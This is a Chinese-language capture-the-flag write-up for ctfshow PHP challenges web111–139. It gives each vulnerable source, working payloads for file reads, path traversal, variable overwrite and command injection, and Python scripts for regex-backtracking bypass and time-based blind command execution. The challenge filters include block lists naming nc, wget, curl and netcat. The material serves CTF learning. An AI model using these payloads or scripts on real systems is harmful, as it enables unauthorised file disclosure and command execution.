ctfshow php特性
web111
源代码
highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); //这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值 var_dump($$v1); //打印$$v1的值 } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; //下面过滤后基本就是输入字母的意思 if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ //当$v1的值有ctfshow时,运行下面语句 getFlag($v1,$v2); }
payload:?v1=ctfshow&v2=GLOBALS
web112
1.源代码
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
//大概意思就是需要你给file这个参数赋值然后需要你的值绕过前面的过滤最后到这个highlight_file函数
2.知识点
is_file函数:判断输入的参数是不是文件
特点:PHP伪协议对这个函数来说不是函数
highlight_file函数:高亮文件
特点:对这个函数来说是函数
3.解题
payload:?file=php://filter/resource=flag.php
web 113
1.源代码
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } <?php
2.解题
(1)利用函数所能处理的长度限制进行目录溢出
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
(2)利用压缩协议
?file=compress.zlib://flag.php
(3)补充知识
该函数检测的时候是以绝对路径来检测的,当输入的路径中第一级目录是不存在的,返回了yes绕过该函数的检测。但是利用文件读取时,文件路径必须存在可访问,
web 114
payload:
php://filter/resource=flag.php
web115
1.源代码
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
2.代码解析
trim() 函数
移除字符串两侧的空白字符或其他预定义字符。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。 如果任何参数的值为NULL,Trim() 函数返回NULL。
num要为数字或数字字符串,但不能等于36,取出空白字符后也不能为36,进入filter之后出来还要为36
…十六进制和八进制都被限制了不让用
3.解题
这里可以使用 %0c 来进行绕过
%0c==\f
%f和%lf分别是float类型和double类型用于格式化输入输出时对应的格式符号
payload:?num=%0c36
web 123
1.源代码
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
2.解题思路
开始想法:看到最后echo $flag 想突破这个过滤结果发现目前代码是暂时不可能的
然后再看代码:发现$c在eval()函数里面,这不就可以任意代码执行了吗
然后直接构造payload: 在post里面 CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
3.收获
有时候,你想得到的结果不一定是他给你的直接,也许可以另辟蹊径呢?
web 125
1.源代码
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
2.解题思路
这里又把flag给过滤掉了,但是我们这里的$c还是相当于没有过滤的
种类我们可以利用get来传一个参数好然后再在post里面赋值
直接绕过过滤
3.payload
GET: ?n=flag.php
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[n])
web126
1.代码
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
2.解析
利用$_SERVER['argv'],
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
'argv' 传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
意思就是通过$_SERVER['argv']将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET['fl0g'])),用+来进行分隔,使得数组中有多个数值。
执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
parse_str() 函数把查询字符串解析到变量中
3..payload:
GET ?a=1+fl0g=flag_give_me
POST CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127
1.代码
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
2.解析
别看这么多内容
在url中空格会被转换为_
3.payload
?ctf show=ilove36d
web 128
1.源代码
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
2.知识点
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
3.payload
payload: ?f1=_&f2=get_defined_vars
web129
1.源代码
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ //检查字符出现位置并回显,这里需要我们输入的ctfshow不在首位 echo readfile($f); //这里有一个阅读函数文件 } }
2.解题
根据上面的代码分析
我们需要通过传入ctfshow参数后然后进行文件读取
所以我们可以通过readfile函数进行目录穿越
payload:/ctfshow/../../../../../var/www/html/flag.php
然后页面没有显示我们查看源代码可以得到flag
web131
1.代码
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
2.知识点
正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
注释:stripos() 函数是不区分大小写的。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。
3.解题
这里利用脚本来做一下
import requests url='' data={ 'f':'very'*250000+'36Dctfshow' } r=requests.post(url=url,data=data).text print(r)
web132
1.信息收集
先访问robots.txt
然后得到一个一个目录不让我们访问/admin
但是我们偏要
2.代码
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
3.知识点
运算符运算规则: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
mt_rand() 使用 Mersenne Twister 算法返回随机整数。
4.解题
payload:?code=admin&password&username=admin
web133
1.源代码
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
2.思路
这里思路是看的wp,主要思路入下
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令 **那为什么会这样?** 因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数 这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。 而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是 ``$F`;+sleep 3`,就执行成功 这里就是再指向的eval命令
3.步骤
使用bp代出数据然后抓包
https://blog.csdn.net/qq_46091464/article/details/109095382
web134
1.源码
highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
2.函数功能
parse_str() 函数:把查询字符串解析到变量中
extract() 函数:从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
3.解题
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
payload:?_POST[key1]=36d&_POST[key2]=36d
web135
1.源代码
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
基本利用点也是通过eval函数进行命令执行
这里的方式就很多了
2.思路
非预期;
绕过eval函数
如下:
payload: ?F=`$F` ;cp flag.php 2.txt;
直接把flag复制到2.txt里面来
然后访问2.txt
web136
1.源代码与代码解析
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c);//调用check函数 exec($c); //exec在PHP里面可以用来代码执行 } else{ highlight_file(__FILE__); } ?>
2.思路
开始尝试了一些没有被过滤的函数,然后发现没有回显
但是并没有被拦截所以
准备想办法把数据代出来
但是这里过滤了crul参数
然后这里还过滤了 . 参数,这里也写不进1.txt里面
然后看wp还有一个tee命令
tee命令:
在输出信息的同时把信息记录到文件中
具体使用方法可以看这篇文章。
https://zhuanlan.zhihu.com/p/34510815
3.实施
payload1:?c=ls /|tee 1 (因为这里被过滤了 . 所以我们就只能放到1这个文件里来)
然后访问1这个文件就会直接下载,然后可以在里面发现flag
1.
payload2: ?c=cat /f149_15_h3r3|tee 2
然后访问 2 并查看
web137
1.源代码
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
2.知识点
call_user_func()函数是用于调用第一个参数指定的回调函数,并将剩余的参数作为回调函数的参数。
语法请查看:https://www.php.net/manual/zh/function.call-user-func.php
这段代码里,如果要调用getFlag()函数,可以通过POST请求传递一个数组作为ctfshow参数,数组的第一个元素是类名,第二个元素是静态方法名。
如:ctfshow[]=ctfshow&ctfshow[]=getFlag
还可以使用 :: 来调用类
::符号在PHP中是用于访问类的静态属性或方法的。例如,ctfshow::getFlag()就是调用ctfshow类的静态方法getFlag()。
::符号也可以用于访问父类的属性或方法,或者常量
3.解题
payload1:ctfshow=ctfshow::getFlag
payload2:ctfshow[]=ctfshow&ctfshow[]=getFlag
记得在源代码里面查看flag
web138
1.源代码
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
2.解题
和刚才的题差不多,这题用上面数组的方式传入参数可以解题
记得在源代码里面查看flag
payload:ctfshow[]=ctfshow&ctfshow[]=getFlag
web139
1.源代码
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
虽然代码确实和前面136的代码一样但是却拿不到文件
2.思路
我们执行了 ?c=ls /|tee 1
没有报错也没有回显,而且还页面跳转了
说明没有被过滤并且命令可能执行了
这里有两种原因:
1.没有写权限
2.没有读权限
然后我们来看命令到底执行没有
使用sleep函数来看看睡不睡
参数: ?c=ls/|sleep 3
发现页面出先明显延迟
或者直接看network这里也行
说明成功执行命令
这里我们能够想到什么
首先 | 与 命令是来找非的,一旦有错误就运行
所以我们可以利用时间盲注来进行判断我们的命令是否成功执行
3.解题
脚本
找目录脚本
import requests import time import string str=string.ascii_letters+string.digits+'_~' result="" for i in range(1,10):#行 key=0 for j in range(1,15):#列 if key==1: break for n in str: #awk 'NR=={0}'逐行输出获取 #cut -c {1} 截取单个字符 payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n) #print(payload) url="http://873b2081-3b04-4517-a10d-dcb44382c44c.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='~': key=1 result+=" " #找到flag:/f149_15_h3r3
找flag脚本
import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) #print(payload) url="http://b76bf2c7-70e7-401f-a490-f5963e74b581.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break